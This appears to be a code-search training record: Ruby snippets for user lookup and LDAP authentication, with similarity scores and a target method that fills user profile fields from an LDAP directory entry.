"def get_user_dn(login)\n\t\tldap_con = initialize_ldap_con(self.account, self.encrypted_password)\n\t\tlogin_filter = Net::LDAP::Filter.eq( self.attr_login, login ) \n\t\tobject_filter = Net::LDAP::Filter.eq( \"objectClass\", \"*\" ) \n\t\tattrs = {}\n\t\t\n\t\tldap_con.search( :base => self.base_dn, \n\t\t\t:filter => object_filter & login_filter, \n\t\t\t:attributes=> search_attributes) do |entry|\n\t\t\t\n\t\t\tattrs = get_user_attributes_from_ldap_entry(entry)\n\t\t\tattrs.merge!(:member_of => entry[self.attr_member].map {|e| /CN=([^,]+?)[,$]/i.match(e).captures.first })\n\t\t\t\n\t\t\tlogger.debug \"DN found for #{login}: #{attrs[:dn]}\" if logger && logger.debug?\n\t\tend\n\t\t\n\t\t\n\t\tattrs\n\tend",
"def ldap_username_field\n @attributes[:ldap_username_field]\n end",
"def real_user(name)\n if User.anonymized_view?(session[:ip])\n user = User.real_user_from_anonymized_name(name)\n else\n user = User.find_by(name: name)\n end\n return user\n end",
"def get_user_by_username(name)\n resp = request('getUserByUsername', {:username => name})['user']\n resp['username'].empty? ? nil : User.new(self, resp)\n end",
"def hubssolib_get_user_address\n user = self.hubssolib_current_user\n user ? user.user_email : nil\n end",
"def drupal_user\n DrupalUsers.find_by_name(self.username)\n end",
"def drupal_user\n DrupalUsers.find_by_name(self.username)\n end",
"def user\n User.get(contact, client: @client)\n end",
"def get_user_info\n response = send_method(:get_user_info)\n user_from(response)\n end",
"def user(id_or_username = \"my\", params = {})\n if id_or_username.is_a?(Fixnum) || id_or_username == 'my'\n find_user_by_id id_or_username, params\n else\n find_user_by_username id_or_username, params\n end\n end",
"def get_uid(email, ldap_entry)\n # Get the first uid value (this should always be the canonical username)\n uid = ldap_entry.uid ? ldap_entry.uid[0] : nil\n # Update the cache\n self.cache[email] = uid if uid && self.use_cache\n # Return the uid\n uid\n end",
"def me\n MailboxUser.find_user((@@user.include?('@') ? @@user : \"#{@@user}@\"))\n end",
"def get_user_from_id(user_id)\n \t\tuser = nil\n \t\tunless user_id.blank?\n\t \t\tcol = :email\n\t \t\tif CONFIG[:enable_username?]\n\t \t\t\tunless is_email(user_id)\n\t \t\t\t\tcol = :username\n\t \t\t\tend\n\t \t\tend\n#\t \t\tp \"Finding user by col: #{col}, user_id = #{user_id}\"\n\t \t\tuser = User.find_by(col => user_id.downcase)\n\t \tend\n\t \tuser\n \tend",
"def get_user_country (cntry)\n\t\tuser_countries.each { |u|\n\t\t\tif u.id = cntry.id\n\t\t\t\treturn u\n\t\t\tend\n\t\t}\n\t\treturn nil\n\tend",
"def _user_urn\n user = OMF::Web::SessionStore[:urn, :user]\n unless user\n warn \"Can't find 'urn' for user '#{OMF::Web::SessionStore[:urn, :id]}'\"\n return nil\n end\n user\n end",
"def last_name # same as field name ;\n User.where(id: object.user_id)[0].last_name\n end",
"def get_user(uid)\n params = {\"pio_uid\" => uid}.merge(default_params)\n response = @connection.get(:users, uid, params).body\n if response[\"pio_latlng\"]\n latlng = response[\"pio_latlng\"]\n response[\"pio_latitude\"] = latlng[0]\n response[\"pio_longitude\"] = latlng[1]\n end\n response \n end",
"def user\n user_id.get_object\n end",
"def retrieve(user_id:)\n User.new get_request(\"users/#{user_id}\").body.dig(\"user\")\n end",
"def find_user_by_id(id)\n User.find(id)\n end",
"def find_user(id_or_attrs)\n if id_or_attrs.is_a? Hash\n User.find_by_slug(id_or_attrs[:slug])\n else\n User.find(id_or_attrs)\n end\n end",
"def find_user(name)\n if ( name.downcase != name )\n @logger.info \"Looking for #{name.downcase} instead of #{name}\"\n end\n\n if @cached_users.has_key?(name.downcase)\n return @cached_users[name.downcase]\n end\n\n single_user_query = RallyAPI::RallyQuery.new()\n single_user_query.type = :user\n single_user_query.fetch = @detail_user_fetch\n single_user_query.page_size = 200 #optional - default is 200\n single_user_query.limit = 90000 #optional - default is 99999\n single_user_query.order = \"UserName Asc\"\n single_user_query.query_string = \"(UserName = \\\"\" + name + \"\\\")\"\n\n query_results = @rally.find(single_user_query)\n\n if query_results.total_result_count == 0\n return nil\n else\n # Cache user for use next time\n this_user = query_results.first\n @cached_users[this_user[\"UserName\"].downcase] = this_user\n @logger.info \"Caching User: #{this_user.UserName}\"\n\n return this_user\n end\n end",
"def person(force_reload=false)\n return @person unless @person.nil? || force_reload\n @person = Person.get(@person_permalink)\n end",
"def user_name\n object.user.dxuser\n end",
"def get_user \n\t\treturn User.find(self.user_id)\n\tend",
"def getUser()\n\t\treturn @user\n\tend",
"def get_user(user_name:)\n validate_user_name(:user_name, user_name)\n\n wrap_response(@connection.get(user_path(user_name))).fmap { |r|\n SftpgoClient::User.new(r.body)\n }\n end",
"def user(user_name)\n OctocatHerder::User.fetch(user_name, connection)\n end",
"def user\n User.new((@params[\"lf_jid\"] || \"\").split(\"@\", 2).first, @client, @params[\"author\"],\n :email => @params[\"author_email\"],\n :url => @params[\"author_url\"]\n )\n end",
"def person\n Person.where(:person_id => @person_id).first\n end",
"def user\n @user ||= ::User.find_by(id: user_id)\n end",
"def user\n parse!\n @user\n end",
"def user(reload = false)\n self.cache(CostAgent::User, self.username, reload) do\n data = self.client(\"verify\").get.headers\n [User.new(\n :id => data[:user_id],\n :permissions => data[:user_permission_level],\n :company_type => data[:company_type])]\n end.first\n end",
"def recipient\n @recipient ||= User.find_or_create_by(display_name: 'Recipient Patron', email: 'no-reply+recipient@lafayette.edu', username: 'no-reply+recipient')\n end",
"def first_name # same as field name ;\n User.where(id: object.user_id)[0].first_name\n end",
"def profile(username)\n Person.profile(username, @api_key, @https)\n end",
"def first_name\n user = User.find_by_id(sent_by).first_name\n end",
"def human_user\n # If we have a doorkeeper_token, derive the User from it.\n # If not, we're in case #1 above and the User should be\n # retrieved from the non_doorkeeper_user_proc.\n @user ||= @doorkeeper_token ? \\\n USER_CLASS.where(id: @doorkeeper_token.try(:resource_owner_id)).first : \\\n @non_doorkeeper_user_proc.call\n end",
"def find_bot_user(bot, user_id)\n bot.user_class.find_or_create_by(facebook_psid: user_id)\n end",
"def me_user_email\n email = Email.find_primary(me).take if auth?\n email.email || ''\n end",
"def get_user_by_handle(handle)\n return User.where(handle: handle).first\n end"
] |
[
"0.6858983",
"0.6063733",
"0.6018299",
"0.59120214",
"0.58487386",
"0.58237636",
"0.58237636",
"0.58237636",
"0.5784712",
"0.57712716",
"0.57703793",
"0.5739711",
"0.56722015",
"0.5615683",
"0.56151265",
"0.56083846",
"0.55936754",
"0.5590984",
"0.554399",
"0.5537872",
"0.55249286",
"0.5519344",
"0.5506894",
"0.55012167",
"0.54986924",
"0.5492379",
"0.54896694",
"0.54852825",
"0.54736686",
"0.5469944",
"0.5468893",
"0.54677224",
"0.5457797",
"0.54544044",
"0.54456633",
"0.54448175",
"0.54401356",
"0.54068935",
"0.54054326",
"0.5400069",
"0.53986925",
"0.53875136",
"0.53819036",
"0.53808063",
"0.5371574",
"0.534987",
"0.53435344",
"0.53416723",
"0.53271234",
"0.5326499",
"0.53259844",
"0.5316874",
"0.53141075",
"0.5308801",
"0.5306273",
"0.52765137",
"0.5275816",
"0.52757806",
"0.52742016",
"0.5262348",
"0.52595735",
"0.52452636",
"0.52385914",
"0.52321714",
"0.52299285",
"0.52299285",
"0.5227048",
"0.52235854",
"0.52152514",
"0.52008355",
"0.51856035",
"0.51831096",
"0.5181224",
"0.51800245",
"0.5179212",
"0.5176645",
"0.5176264",
"0.51752645",
"0.5174546",
"0.51728654",
"0.5167633",
"0.5158412",
"0.5157212",
"0.51549786",
"0.51536477",
"0.5152433",
"0.5146446",
"0.5142734",
"0.51382446",
"0.51327455",
"0.5132337",
"0.51290005",
"0.5126692",
"0.51259613",
"0.5122971",
"0.51210296",
"0.51167923",
"0.511226",
"0.51115984",
"0.51115817"
] |
0.7637795
|
0
|
Updates basic User information from LDAP Returns whether the LDAP lookup succeeded
|
def fill_from_ldap
person = self.ldap_person
if person.nil?
if Rails.development?
self.name = "Susan #{self.login}"
self.email = "beehive+#{self.login}@berkeley.edu"
self.major_code = 'undeclared'
self.user_type = case self.login
when 212388, 232588
User::Types::Grad
when 212381, 300846, 300847, 300848, 300849, 300850
User::Types::Undergrad
when 212386, 322587, 322588, 322589, 322590
User::Types::Faculty
when 212387, 322583, 322584, 322585, 322586
User::Types::Staff
else
User::Types::Affiliate
end
return true
else
self.name = 'Unknown Name'
self.email = ''
self.major_code = ''
self.user_type = User::Types::Affiliate
return false
end
else
self.name = "#{person.firstname} #{person.lastname}".titleize
self.email = person.email
self.major_code = person.berkeleyEduStuMajorName.to_s.downcase
self.user_type = case
when person.berkeleyEduStuUGCode == 'G'
User::Types::Grad
when person.student?
User::Types::Undergrad
when person.employee_academic?
User::Types::Faculty
when person.employee?
User::Types::Staff
else
User::Types::Affiliate
end
return true
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def ldap_verify_and_update\n return unless self.is_ldap?\n\n scanner = LdapQuery::Scanner.search self.login, :only=>:ldap\n\n if scanner.errors.size > 0\n errors.add(:login, 'Login is invalid or cannot be found in OHSU\\'s servers')\n return\n end\n\n # Update our information from ldap\n self.assign_attributes scanner.as_user_attributes\n\n end",
"def try_update_ldap\n auths = self.authentications.where(provider: 'shibboleth')\n return false if auths.length > 0\n\n auths = self.authentications.where(provider: 'ldap')\n if auths.length > 0\n uid = auths.first.uid\n else\n uid = self.login_id\n end\n begin\n Ldap_User::LDAP.replace_attribute(uid, 'mail', [self.email])\n rescue LdapMixin::LdapException => ex\n return false\n end\n return true\n end",
"def update\n login = user_params[:login]\n\n raise \"not authorized\" unless is_admin || is_me(login)\n\n LDAP::User.update(login, user_params)\n render json: LDAP::User.find(login)\n rescue => e\n render_failure(e.message)\n end",
"def update_user_info(user_info)\n return if !user_info || user_info.empty?\n\n # get the current user entry\n curr_user_info = read_user(user_info[:email])\n if curr_user_info\n dn = get_DN(curr_user_info[:cn])\n\n Net::LDAP.open(@ldap_conf) do |ldap|\n #update the ldap attributes\n desc_attributes = {}\n ALLOW_UPDATING.each do |attribute|\n if user_info && !!user_info[attribute] && (curr_user_info[attribute] != user_info[attribute])\n if PACKED_ENTITY_FIELD_MAPPING.include?(attribute)\n desc_attributes[attribute] = user_info[attribute]\n else\n if !(ldap.replace_attribute(dn, ENTITY_ATTR_MAPPING[attribute], user_info[attribute]))\n if !curr_user_info[attribute]\n if !(ldap.add_attribute(dn, ENTITY_ATTR_MAPPING[attribute], user_info[attribute]))\n puts curr_user_info\n puts user_info\n\n ops = [[:add, ENTITY_ATTR_MAPPING[attribute], user_info[attribute]]]\n ldap.modify :dn => dn, :operations => ops\n\n raise ldap_ex(ldap, \"Unable to add new attribute '#{ENTITY_ATTR_MAPPING[attribute]}' with value '#{user_info[attribute]}'.\")\n end\n else\n raise ldap_ex(ldap, \"Unable to update attribute '#{ENTITY_ATTR_MAPPING[attribute]}' with value '#{user_info[attribute]}'.\")\n end\n end\n end\n end\n end\n\n # updat the attributes that are encoded in description\n if !desc_attributes.empty?\n temp = (curr_user_info.clone).merge(desc_attributes)\n packed = pack_fields(temp)\n ldap.replace_attribute(dn, LDAP_DESCRIPTION_FIELD, packed)\n end\n end\n end\n end",
"def update_user( user, page, new_password = nil )\n # load fields from LDAP\n user.uniqueid = page[0][@settings['ldap_field_uid']][0]\n user.preferred_name = page[0][@settings['ldap_field_nickname']][0] unless page[0][@settings['ldap_field_nickname']].nil? \n user.first_name = page[0][@settings['ldap_field_firstname']][0]\n user.middle_name = page[0][@settings['ldap_field_middlename']][0] unless page[0][@settings['ldap_field_middlename']].nil?\n user.last_name = page[0][@settings['ldap_field_lastname']][0]\n user.instructor = false\n user.activated = true\n if page[0][@settings['ldap_field_affiliation']].nil?\n user.affiliation = \"unknown\" \n else \n user.affiliation = page[0][@settings['ldap_field_affiliation']].join(', ') \n\n inst_affiliations = @settings['instructor_affiliation'].split(',')\n page[0][@settings['ldap_field_affiliation']].each do |x|\n inst_affiliations.each do |instructor_affiliation|\n if x.downcase.eql?( instructor_affiliation.downcase )\n user.instructor = true\n end\n end\n end\n end\n\n user.personal_title = page[0][@settings['ldap_field_personaltitle']][0] unless page[0][@settings['ldap_field_personaltitle']].nil?\n user.office_hours = page[0][@settings['ldap_field_officehours']][0] unless page[0][@settings['ldap_field_officehours']].nil?\n user.phone_number = page[0][@settings['ldap_field_phone']][0] unless page[0][@settings['ldap_field_phone']].nil?\n user.email = page[0][@settings['ldap_field_email']][0]\n \n unless new_password.nil?\n user.update_password( new_password )\n end\n \n if ! user.save\n raise SecurityError, \"Unable to save user: #{user.errors.full_messages.join(', ')}\", caller\n end\n \n return user\n end",
"def valid_user?\n #create a new LDAP object using the ruby-net-ldap library\n @ldap = Net::LDAP.new(:base => \"dc=#{@domain},dc=#{@tld}\",\n :host => @adshost,\n :auth => {:username => \"#{@username}@#{@domain}.#{@tld}\",\n :password => @password,\n :method => :simple})\n #return a boolean indicating whether authentication was successful or not\n return @ldap.bind\n end",
"def auth_ldap username, password\n user_hash = LDAP.auth username, password\n if user_hash\n user = User.find_or_create_by_username username\n user.email = user_hash[:mail]\n user.privileged = user_hash[:privileged]\n user.name = user_hash[:cn]\n user.save!\n return user\n else\n return nil\n end\n end",
"def populateLDAP\n \n #quit if no email or netid to work with\n return if !self.netid\n \n ldap = Net::LDAP.new(host: 'directory.yale.edu', port: 389)\n b = 'ou=People,o=yale.edu'\n f = Net::LDAP::Filter.eq('uid', self.netid)\n a = %w(givenname sn mail knownAs class college)\n\n p = ldap.search(base: b, filter: f, attributes: a).first\n \n\n\n self.fname = ( p['knownAs'] ? p['knownAs'][0] : '' )\n if self.fname.blank?\n self.fname = ( p['givenname'] ? p['givenname'][0] : '' )\n end\n self.lname = ( p['sn'] ? p['sn'][0] : '' )\n self.email = ( p['mail'] ? p['mail'][0] : '' )\n self.year = ( p['class'] ? p['class'][0].to_i : 0 )\n self.college = ( p['college'] ? p['college'][0] : '' )\n self.save!\n end",
"def update_status(user)\n if user_exists?(user[:email])\n found_user = read_user(user[:email])\n raise \"Could not update user #{user[:email]}. User does not exist.\" if !found_user\n\n dn = get_DN(found_user[:cn])\n Net::LDAP.open(@ldap_conf) do |ldap|\n\n if !ldap.replace_attribute(dn, ENTITY_ATTR_MAPPING[:status], user[:status])\n raise ldap_ex(ldap, \"Could not update user status for user #{user[:email]}\")\n end\n end\n end\n end",
"def change_password(ldap)\n puts \"enter first name\"\n firstname=gets.chomp\n puts \"enter new password\"\n password=gets.chomp\n \n dn = \"cn=#{firstname},ou=people,dc=example,dc=com\"\n ldap.replace_attribute dn, :userPassword, password\n puts \"****** change password result ******\"\n puts ldap.get_operation_result\n end",
"def ldappassword\n\n$HOST = ''\n$PORT = LDAP::LDAP_PORT\n$SSLPORT = LDAP::LDAPS_PORT\nbase = 'dc=, dc='\nldapadmin = 'cn=, dc=, dc='\nldapadminpass = ''\nscope = LDAP::LDAP_SCOPE_SUBTREE\nattrs = ['sn', 'cn']\n\n#hash the password for ldap change\ne_password = \"{SHA}\" + Base64.encode64(Digest::SHA1.digest(@newpasswd)).chomp\n\nconn = LDAP::Conn.new($HOST, $PORT)\nreset = [\n LDAP.mod(LDAP::LDAP_MOD_REPLACE, \"userPassword\", [e_password]),\n]\n\n conn.bind(ldapadmin,ldapadminpass)\n begin\n conn.search(base, scope, \"uid=#{@authex.username}\", attrs) { |entry|\n $USERDN = entry.dn\n }\n rescue LDAP::ResultError\n conn.perror(\"search\")\n exit\n end\n\n begin\n conn.modify(\"#{$USERDN}\", reset)\n puts $USERDN\n rescue LDAP::ResultError => msg\n puts \"Can't change password: \" + msg\n exit 0\n rescue LDAP::Error => errcode\n puts \"Can't change password: \" + LDAP.err2string(errcode)\n exit 0\n end\n\n\n\nend",
"def ldap_authenticate \n filter = Net::LDAP::Filter.eq(\"uid\",\"#{username}\")\n \n ldap_connection.search(:base => ldap_treebase, :filter => filter, :attributes => ldap_attrs, :return_result => false) do |entry|\n return true\n end\n \n self.errors.add(:username, \" is invalid\")\n return false\n end",
"def update\n verify_post_request\n access_denied unless has_role?(:admin)\n require_parameters :login\n\n user = User.find_active_by_login(params[:login])\n\n if user.nil?\n render_bad_request(\"Could not find user with login #{params[:login]}\")\n elsif user.update_attributes!(params)\n hash = user.to_hash\n respond_to do |format|\n format.json { render :json => jsonp(hash) }\n format.xml { render :xml => hash.to_xml(:skip_types => true, :root => 'users') }\n end\n end\n end",
"def modify(ldap)\n puts \"Enter firstname\"\n firstname = gets.chomp\n puts \"Enter attribute to modify\"\n attribute = gets.chomp\n puts \"Enter new value\"\n value = gets.chomp\n \n dn = \"cn=#{firstname},ou=people,dc=example,dc=com\"\n ops = [\n [:replace, attribute.to_sym, value ]\n ]\n ldap.modify :dn => dn, :operations => ops\n puts \"****** modify result ******\"\n puts ldap.get_operation_result\n end",
"def update_object(method,domain,object,attribute,value)\n @ldap = ldap_connect(domain,ADMINUSER,ADMINPASS)\n begin\n if (method == 'add')\n @ldap.add_attribute(object,attribute,value)\n elsif (method == 'replace')\n @ldap.replace_attribute(object.to_s,attribute,value)\n end\n rescue Exception => e\n puts\n puts \" Error: #{e.message}\"\n puts \" Error: #{e.backtrace.inspect}\"\n puts \" Error: #{@ldap.get_operation_result.error_message}\"\n puts \" Error: #{@ldap.get_operation_result.code}: #{@ldap.get_operation_result.message}\"\n puts\n abort\n else\n puts \" Result: #{@ldap.get_operation_result.code}: #{@ldap.get_operation_result.message}\"\n end\n end",
"def create_user(ldap) \n puts \"Enter user name to create user\"\n firstname = gets.chomp\n puts \"Enter Last name\"\n lastname = gets.chomp\n puts \"Enter password\"\n password = gets.chomp\n \n dn = \"cn=#{firstname},ou=people,dc=example,dc=com\"\n attr = {\n :objectClass => 'inetOrgPerson',\n :cn=> firstname,\n :sn => lastname,\n :userPassword => password\n }\n ldap.add(:dn => dn, :attributes => attr) \n puts \"****** Create_user result *******\" \n puts ldap.get_operation_result \n \n end",
"def check_ldap_user!\n msg = ::Portus::LDAP::Search.new.with_error_message(user_create_params[:username])\n return if msg.nil?\n\n Rails.logger.tagged(:ldap) { Rails.logger.debug msg }\n respond_to do |format|\n format.json { render json: { ldap: [msg] }, status: :unprocessable_entity }\n end\n end",
"def set_user\n id = params[:id] == 'me' ? current_user.login : params[:id]\n @user = LDAP::User.find(id)\n end",
"def login(user, pass)\n conn = LDAP::Conn.new($ldap_conf[:server], $ldap_conf[:port])\n conn.set_option(LDAP::LDAP_OPT_PROTOCOL_VERSION, 3)\n conn.start_tls\n\n begin\n if conn.bind('uid=' + user + ',' + $ldap_conf[:people_dn], pass)\n get_uidNumber conn, user\n else\n False\n end\n rescue Exception => e\n nil\n end\nend",
"def get_ldap_attributes\n attributes = YaleLDAP.lookup(upi: upi.to_s)\n .slice(:first_name, :nickname, :last_name, :upi, :netid,\n :email, :organization, :curriculum, :college_name, :college_abbreviation,\n :class_year, :school, :telephone, :address)\n self.update_attributes(attributes)\n end",
"def get_user_details_from_ldap(username)\n\tresult_attrs = [\"uid\", \"displayName\", \"mail\"]\n\tsearch_filter = Net::LDAP::Filter.eq(\"uid\", username)\n\tLDAP_CONNECTION.search(:filter => search_filter, :attributes => result_attrs) { |item| \n\t puts \"#{item.uid.first}: #{item.displayName.first} (#{item.mail.first})\" \n\t}\n\t\nend",
"def update_ldap_info(ldap_info)\n ldap_info.each do |key, value|\n if self.respond_to?(:\"#{key}=\")\n self.send :\"#{key}=\", value\n end\n end\n generate_attributes_from_ldap_info\n end",
"def ldap_before_save\n self.email = Devise::LDAP::Adapter.get_ldap_param(self.username, \"mail\").first\n self.encrypted_password = Devise::LDAP::Adapter.get_ldap_param(self.username, \"userPassword\").first\n display_name = Devise::LDAP::Adapter.get_ldap_param(self.username, \"displayName\" )\n if display_name.present?\n display_name = display_name.first.split(' ')\n self.firstname = display_name[1]\n self.lastname = display_name.shift\n end\n end",
"def update\n @user = User.find(params[:id])\n\n update_protected_attrs_from_params(:user, :login, :active) do |p|\n @user.attributes = p\n @user\n end\n \n respond_to do |format|\n if @user.save\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to([:admin, @user]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def auth username, password\n return nil unless @access_users.member?(username)\n\n dn = dn_for username\n @ldap.auth dn, password\n if @ldap.bind\n ldap_obj = @ldap.search(:base => dn, :attributes => @search_attributes)[0]\n\n # flatten out the (single-valued) attribute arrays into a simple hash\n res = {}\n ldap_obj.each { |k,v| res[k] = v[0] }\n\n # mark the user as privileged or non-privileged\n if @priv_users.member?(username)\n res[:privileged] = true\n else\n res[:privileged] = false\n end\n\n return res\n else\n return nil\n end\n end",
"def valid_user?\n res = false\n \n if (@email!='') and (@password!='')\n ldap= Net::LDAP.new\n ldap.host = LDAP_HOST\n ldap.auth(\"#{LDAP_USERS_UID}\" % @email, @password)\n res = ldap.bind\n end\n \n \n return res\n end",
"def all_info\n LdapUser.retrieve_all_information self.login \n end",
"def populateLDAP\n return unless Rails.env.production?\n #quit if no email or netid to work with\n self.email ||= ''\n return if !self.email.include?('@yale.edu') && !self.netid\n\n begin\n ldap = Net::LDAP.new( :host =>\"directory.yale.edu\" , :port =>\"389\" )\n\n #set e filter, use netid, then email\n if !self.netid.blank? #netid\n f = Net::LDAP::Filter.eq('uid', self.netid)\n else\n f = Net::LDAP::Filter.eq('mail', self.email)\n end\n\n b = 'ou=People,o=yale.edu'\n p = ldap.search(:base => b, :filter => f, :return_result => true).first\n\n rescue Exception => e\n guessFromEmail\n end\n\n return unless p\n\n self.netid = ( p['uid'] ? p['uid'][0] : '' )\n self.fname = ( p['knownAs'] ? p['knownAs'][0] : '' )\n self.fname ||= ( p['givenname'] ? p['givenname'][0] : '' )\n self.lname = ( p['sn'] ? p['sn'][0] : '' )\n self.email = ( p['mail'] ? p['mail'][0] : '' )\n self.year = ( p['class'] ? p['class'][0].to_i : 0 )\n self.college = ( p['college'] ? p['college'][0] : '' )\n\n # Don't save the model, because they are going to be shown a form to edit info\n # self.save!\n end",
"def ldap_authenticate\n # logger.debug(\"ldap_authenticate\")\n # ldap_time = Benchmark.realtime { ActiveLdap::Base.setup_connection }\n # logger.debug(\"LDAP: took #{ldap_time} to establish the connection\")\n authenticate_or_request_with_http_basic \"Bluepages Authentication\" do |user_name, password|\n logger.info(\"attempt to ldap authenticate: user_name #{user_name}\")\n next nil unless LdapUser.authenticate_from_email(user_name, password)\n logger.info(\"successful ldap_authenticate as #{user_name}\")\n common_authenticate(user_name)\n return true\n end\n return false\n end",
"def update_user(user, host, attributes)\n attributes.symbolize_keys\n\n user = ::MySQL::User.find_by_username_and_host(user, host)\n return false if user.nil? || !attributes.include?(:password)\n !!user.set_password(attributes[:password])\n end",
"def update\n\t\tparams.permit!\n\t\t@user = User.find(params[:id])\n\t\t@first_name = params[:user][:first_name].to_s\n\t\t@second_name = params[:user][:second_name].to_s\n\t\t@last_name = params[:user][:last_name].to_s\n\n\t\tif @first_name != \"-\" and @second_name != \"-\" and @last_name != \"-\"\n\t\t\t\t@user.update_attribute(:active,1)\n\t\tend\t\n\n\t\tif User.find_by_id(session[:user_id]).access != \"admin\" and @user_id == session[:user_id]\n\t\t\tif\tUser.authenticate(@user.name, params[:old_password]) == @user\n\t\t\t\t@user.update_attribute(:password, \"#{params[:user][:password]}\")\n\t\t\telse\n\t\t\t\tparams[:user][:password] = \"\"\n\t\t\tend\n\t\tend\n\t\t\t\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(users_url,\n :notice => \"User #{@user.name} was successfully updated.\") }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors,\n :status => :unprocessable_entity }\n end\n end\n end",
"def change_password(username, oldpw, newpw)\n\n debugger if ENV['LDAP_PASSWORD_DEBUG']\n\n user_dn = \"uid=#{username},#{config['ldap_user_base_dn']}\"\n ldap = Net::LDAP.new(\n host: config['ldap_host'], port: config['ldap_port'],\n auth: {\n username: user_dn, password: oldpw, method: config['ldap_auth_method']\n }\n #,encryption: :simple_tls\n )\n ldap.bind or (return [ldap.get_operation_result.message])\n\n ldap.modify(\n dn: user_dn, operations: [\n [:replace, :sambaNTPassword, nt_password(newpw)], \n [:replace, :sambaPwdLastSet, Time.now.to_i.to_s],\n [:replace, :userPassword , ssha_password(newpw)],\n [:replace, :shadowLastChange , (Time.now.to_i / 86400).to_s],\n ]\n ) ? [] : [ldap.get_operation_result.message]\n end",
"def bind(login, password)\n cfg = Rails.application.secrets.ldap\n host = cfg['host']\n port = cfg['port']\n ssl = cfg['ssl'].to_sym\n # base = cfg['base']\n users = cfg['users']\n # groups = cfg['groups']\n\n options = {\n host: host,\n port: port,\n encryption: ssl,\n }\n\n ldap = Net::LDAP.new(options)\n ldap.auth(\"cn=#{login},#{users}\", password)\n return LDAP::User.find(login) if ldap.bind\n false\n end",
"def reload!\n success = self.class._select_dn(dn)\n if success\n @new_entry = false\n @ldap_entry = success.first\n @persisted_attrs = raw_attributes.dup\n true\n else\n false\n end\n end",
"def update\n @ldap_entry = LdapEntry.find(params[:id])\n\n respond_to do |format|\n if @ldap_entry.update_attributes(ldap_entry_params)\n format.html { redirect_to ldap_entries_path, notice: 'Ldap entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ldap_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n ldap = Net::LDAP.new\n @user = @server.users.all#(user_params)\n \n end",
"def authenticate_with_active_directory(username, password)\n auth_ldap = ADMapper::Connection.current_connection.dup.bind_as(\n :filter => Net::LDAP::Filter.eq( \"sAMAccountName\", username ),\n :base => ADMapper::Connection.treebase,\n :password => password\n )\n \n end",
"def authenticate(username,password)\n begin\n @ldap.auth username + @ldap_suffix, password\n if @ldap.bind\n return true\n end\n rescue\n end\n return false\n end",
"def valid?(auth)\n # how to connect to the ldap server: ldap, ldaps, ldap + starttls\n if @config.ldaps\n enc = { method: :simple_tls }\n elsif @config.starttls\n enc = { method: :start_tls }\n enc[:tls_options] = @config.tls_options if @config.tls_options\n else\n enc = nil # just straight ldap\n end\n conn = Net::LDAP.new(host: @config.hostname, port: @config.port,\n base: @config.basedn,\n encryption: enc)\n\n $stdout.puts \"Net::LDAP.new => #{conn.inspect}\" if @config.debug\n\n if @config.auth\n $stdout.puts \"doing auth for #{@config.rootdn.inspect}\" if @config.debug\n conn.auth @config.rootdn, @config.passdn\n # conn.get_operation_result.message has the reson for a failure\n return false unless conn.bind\n end\n\n filter = Net::LDAP::Filter.eq(@config.username_ldap_attribute,\n auth.username)\n\n $stdout.puts \"Net::LDAP::Filter.eq => #{filter.inspect}\" if @config.debug\n\n # find the user and rebind as them to test the password\n # return conn.bind_as(:filter => filter, :password => auth.password)\n $stdout.puts \"doing bind_as password.size: #{auth.password.size}...\" if @config.debug\n ret = conn.bind_as(filter: filter, password: auth.password)\n $stdout.puts \"bind_as => #{ret.inspect}\" if @config.debug\n ret\n end",
"def ldap_add_members!\n Rails.logger.tagged(:ldap) { Rails.logger.info \"Looking up an LDAP group matching '#{name}'\" }\n\n portus_user = User.portus\n usernames = users.map(&:username)\n\n ::Portus::LDAP::Search.new.find_group_and_members(name).each do |member|\n next if usernames.include?(member)\n next unless User.exists?(username: member)\n\n add_team_member!(portus_user, member)\n end\n\n update!(ldap_group_checked: Team.ldap_statuses[:checked], checked_at: Time.zone.now)\n end",
"def update\n @user = @person.user\n respond_to do |format|\n if @user.update_attributes(params[:authenticated_system_user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to admin_people_url }\n format.xml { head :ok }\n else\n format.html do\n render :action => 'edit' \n end\n format.xml { render :xml => @user.errors.to_xml }\n end\n end\n end",
"def ldap?(auth, username, password)\n require 'net/ldap'\n\n raise 'Missing ldap base' unless auth[:base]\n\n @ldap = Net::LDAP.new auth\n\n raise format('Ldap connexion fail %s', ldap.inspect) unless ldap.bind\n\n dn = ldap_search(auth[:base], filer_strip(auth[:filter], username))\n ldap.authenticate(dn, password)\n session[:user] = username if ldap.bind\n !session[:user].nil?\n end",
"def update_entry(entry, ldap_attrs, user_attrs, ldap_key, user_key)\n if user_attrs.has_key?(user_key)\n if ldap_attrs.has_key?(ldap_key)\n if user_attrs[user_key] != ldap_attrs[ldap_key].first\n entry << LDAP.mod(LDAP::LDAP_MOD_REPLACE, ldap_key, user_attrs[user_key].is_a?(String) ? [ user_attrs[user_key] ] : user_attrs[user_key] )\n end\n else\n entry << LDAP.mod(LDAP::LDAP_MOD_ADD, ldap_key, user_attrs[user_key].is_a?(String) ? [ user_attrs[user_key] ] : user_attrs[user_key] )\n end\n else\n if ldap_attrs.has_key?(ldap_key)\n entry << LDAP.mod(LDAP::LDAP_MOD_DELETE, ldap_key, [ ])\n end\n end\n end",
"def activedirectory_users(opts, accountname_expr = 'jturner')\n\n ldap = Net::LDAP.new :host => opts[:ldaphost],\n\t:port => opts[:ldapport],\n\t:auth => {\n\t:method => :simple,\n\t:username => opts[:binddn],\n\t:password => opts[:bindpassword]\n \n }\n\n filter = Net::LDAP::Filter.construct(\"(&(objectCategory=Person)(sAMAccountName=#{accountname_expr}))\")\n\n ldap.search(\n\t:base => opts[:basedn],\n\t:filter => filter,\n\t:attributes => [:samaccountname, :displayname, :mail, :telephonenumber, :description, :department, :company, :physicaldeliveryofficename, :streetaddress, :l, :st, :postalcode, :co, :thumbnailPhoto]\n ) \nend",
